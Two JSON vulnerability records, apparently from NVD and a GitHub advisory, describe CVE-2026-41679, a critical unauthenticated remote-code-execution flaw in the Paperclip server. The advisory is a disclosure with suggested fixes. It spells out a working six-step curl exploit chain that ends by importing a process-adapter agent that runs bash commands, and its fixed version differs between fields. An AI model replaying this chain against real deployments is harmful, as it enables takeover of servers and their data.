{
  "affected": [
    {
      "affectedData": [
        {
          "product": "paperclip",
          "vendor": "paperclipai",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2026.410.0"
            }
          ]
        },
        {
          "product": "@paperclipai/server",
          "vendor": "paperclipai",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2026.410.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:paperclip:paperclipai:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "5450D1E5-E18F-4683-AC76-3BB21F14933B",
              "versionEndExcluding": "2026.416.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:paperclip:paperclipai\\/server:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "7002BC1F-A9E7-4955-BBC6-CBCAF731E019",
              "versionEndExcluding": "2026.416.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Paperclip is a Node.js server and React UI that orchestrates a team of AI agents to run a business. Prior to version 2026.416.0, an unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in `authenticated` mode with default configuration. No user interaction, no credentials, just the target\u0027s address. The chain consists of six API calls. The attack is fully automated, requires no user interaction, and works against the default deployment configuration. Version 2026.416.0 patches the issue."
    }
  ],
  "id": "CVE-2026-41679",
  "lastModified": "2026-06-17T10:46:59.450",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 10.0,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-41679",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-04-23T14:39:48.671600Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-04-23T02:16:19.180",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Third Party Advisory"
      ],
      "url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-68qg-g8mg-6pr7"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Third Party Advisory"
      ],
      "url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-68qg-g8mg-6pr7"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-287"
        },
        {
          "lang": "en",
          "value": "CWE-862"
        },
        {
          "lang": "en",
          "value": "CWE-1188"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "paperclipai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.410.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@paperclipai/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.410.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41679"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-287",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T21:08:57Z",
    "nvd_published_at": "2026-04-23T02:16:19Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nAn unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in `authenticated` mode with default configuration. No user interaction, no credentials, just the target\u0027s address. The entire chain is six API calls.\n\nI verified every step against the latest version. I have a fully automated PoC script and a video recording available.\n\nDiscord: sagi03581\n\n## Steps to Reproduce\n\nThe attack chains four independent flaws to escalate from zero access to RCE:\n\n### Step 1: Create an account (no invite, no email verification)\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"email\":\"attacker@evil.com\",\"password\":\"P@ssw0rd123\",\"name\":\"attacker\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/auth/sign-up/email\n```\n\nReturns a valid account immediately. No invite token required, no email verification.\n\nThis works because `PAPERCLIP_AUTH_DISABLE_SIGN_UP` defaults to `false` in `server/src/config.ts:169-173`:\n\n```typescript\nconst authDisableSignUp: boolean =\n  disableSignUpFromEnv !== undefined\n    ? disableSignUpFromEnv === \"true\"\n    : (fileConfig?.auth?.disableSignUp ?? false);   // default: open\n```\n\nAnd email verification is hardcoded off in `server/src/auth/better-auth.ts:89-93`:\n\n```typescript\nemailAndPassword: {\n  enabled: true,\n  requireEmailVerification: false,\n  disableSignUp: config.authDisableSignUp,\n},\n```\n\nThe environment variable isn\u0027t documented in the deployment guide, so operators don\u0027t know it exists.\n\n### Step 2: Sign in\n\n```bash\ncurl -s -v -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"email\":\"attacker@evil.com\",\"password\":\"P@ssw0rd123\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/auth/sign-in/email\n```\n\nCapture the session cookie from the `Set-Cookie` header.\n\n### Step 3: Create a CLI auth challenge and self-approve it\n\nCreate the challenge (no authentication required at all):\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"command\":\"test\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/cli-auth/challenges\n```\n\nThe response includes a `token` and a `boardApiToken`. The handler at `server/src/routes/access.ts:1638-1659` has no actor check -- anyone can create a challenge.\n\nNow approve it with our own session:\n\n```bash\ncurl -s -X POST \\\n  -H \"Cookie: \u003csession-cookie\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3100\" \\\n  -d \u0027{\"token\":\"\u003ctoken-from-above\u003e\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/cli-auth/challenges/\u003cid\u003e/approve\n```\n\nThe approval handler at `server/src/routes/access.ts:1687-1704` checks that the caller is a board user but does not check whether the approver is the same person who created the challenge:\n\n```typescript\nif (req.actor.type !== \"board\" || (!req.actor.userId \u0026\u0026 !isLocalImplicit(req))) {\n  throw unauthorized(\"Sign in before approving CLI access\");\n}\n// no check that approver !== creator\nconst userId = req.actor.userId ?? \"local-board\";\nconst approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId);\n```\n\nThe `boardApiToken` from step 3 is now a persistent API key tied to our account.\n\n### Step 4: Create a company and deploy an agent via import (authorization bypass)\n\nThis is the critical flaw. The direct company creation endpoint correctly requires instance admin:\n\n`server/src/routes/companies.ts:260-264`:\n```typescript\nrouter.post(\"/\", validate(createCompanySchema), async (req, res) =\u003e {\n  assertBoard(req);\n  if (!(req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin)) {\n    throw forbidden(\"Instance admin required\");\n  }\n});\n```\n\nBut the import endpoint does not:\n\n`server/src/routes/companies.ts:170-176`:\n```typescript\nrouter.post(\"/import\", validate(companyPortabilityImportSchema), async (req, res) =\u003e {\n  assertBoard(req);                                     // only checks board type\n  if (req.body.target.mode === \"existing_company\") {\n    assertCompanyAccess(req, req.body.target.companyId);  // only for existing\n  }\n  // NO assertInstanceAdmin for \"new_company\" mode\n  const result = await portability.importBundle(req.body, ...);\n});\n```\n\n`assertInstanceAdmin` isn\u0027t even imported in `companies.ts` (line 27 only imports `assertBoard`, `assertCompanyAccess`, `getActorInfo`), while it is imported and used in other route files like `agents.ts`.\n\nThe import also accepts a `.paperclip.yaml` in the bundle that specifies agent adapter configuration. The `process` adapter takes a `command` and `args` and calls `spawn()` directly with zero sandboxing. The import service passes the full `adapterConfig` through without validation (`server/src/services/company-portability.ts:3955-3981`).\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer \u003cboard-api-key\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3100\" \\\n  -d \u0027{\n    \"source\": {\"type\": \"inline\", \"files\": {\n      \"COMPANY.md\": \"---\\nname: attacker-corp\\nslug: attacker-corp\\n---\\nx\",\n      \"agents/pwn/AGENTS.md\": \"---\\nkind: agent\\nname: pwn\\nslug: pwn\\nrole: engineer\\n---\\nx\",\n      \".paperclip.yaml\": \"agents:\\n  pwn:\\n    icon: terminal\\n    adapter:\\n      type: process\\n      config:\\n        command: bash\\n        args:\\n          - -c\\n          - id \u003e /tmp/pwned.txt \u0026\u0026 whoami \u003e\u003e /tmp/pwned.txt\"\n    }},\n    \"target\": {\"mode\": \"new_company\", \"newCompanyName\": \"attacker-corp\"},\n    \"include\": {\"company\": true, \"agents\": true},\n    \"agents\": \"all\"\n  }\u0027 \\\n  http://\u003ctarget\u003e:3100/api/companies/import\n```\n\nReturns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands.\n\n### Step 5: Trigger the agent\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer \u003cboard-api-key\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3100\" \\\n  -d \u0027{}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/agents/\u003cagent-id\u003e/wakeup\n```\n\nThe wakeup handler at `server/src/routes/agents.ts:2073-2085` only checks `assertCompanyAccess`, which passes because the attacker created the company. Paperclip spawns `bash -c \"id \u003e /tmp/pwned.txt \u0026\u0026 ...\"` as the server\u0027s OS user.\n\n### Proof of Concept\n\nI have a self-contained bash script that runs the full chain automatically:\n\n```\n./poc_exploit.sh http://\u003ctarget\u003e:3100\n```\n\nIt creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds.\n\n## Impact\n\nAn unauthenticated remote attacker can execute arbitrary commands as the Paperclip server\u0027s OS user on any `authenticated` mode deployment with default configuration. This gives them:\n\n- Full filesystem access (read/write as the server user)\n- Access to all data in the Paperclip database\n- Ability to pivot to internal network services\n- Ability to disrupt all agent operations\n\nThe attack is fully automated, requires no user interaction, and works against the default deployment configuration.\n\n## Suggested Fixes\n\n### Critical: Unauthorized board access (the root cause)\n\nThe import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can:\n\n- Read adapter configurations and internal API structure\n- Approve/reject/request-revision on any company\u0027s approvals (these endpoints only check `assertBoard`, not `assertCompanyAccess`)\n- Cancel any company\u0027s agent runs (same missing check)\n- Read issue data from any heartbeat run (zero auth on `GET /api/heartbeat-runs/:runId/issues`)\n- Create unlimited accounts for resource exhaustion\n- Wait for the next authorization bug to appear\n\n**These need to be fixed together:**\n\n1. **Disable open registration by default** -- `server/src/config.ts:172`, change `?? false` to `?? true`. Document `PAPERCLIP_AUTH_DISABLE_SIGN_UP` in the deployment guide. Any deployment that wants open signup can opt in explicitly.\n\n2. **Prevent CLI auth self-approval** -- `server/src/routes/access.ts`, around line 1700. Reject when the approving user is the same user who created the challenge. Right now anyone with a session can generate their own persistent API key.\n\n3. **Require email verification** -- `server/src/auth/better-auth.ts:91`, set `requireEmailVerification: true`. At minimum this stops throwaway accounts.\n\n### Critical: Import authorization bypass (the RCE path)\n\n4. **Add `assertInstanceAdmin` to the import endpoint for `new_company` mode** -- `server/src/routes/companies.ts`, lines 161-176. The direct `POST /` creation endpoint already has this check. The import endpoint doesn\u0027t. Apply the same check to both `POST /import` and `POST /import/preview`:\n\n```typescript\nassertBoard(req);\nif (req.body.target.mode === \"new_company\") {\n  if (!(req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin)) {\n    throw forbidden(\"Instance admin required\");\n  }\n} else {\n  assertCompanyAccess(req, req.body.target.companyId);\n}\n```",
  "id": "GHSA-68qg-g8mg-6pr7",
  "modified": "2026-04-27T16:19:04Z",
  "published": "2026-04-10T21:08:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-68qg-g8mg-6pr7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41679"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/paperclipai/paperclip"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass"
}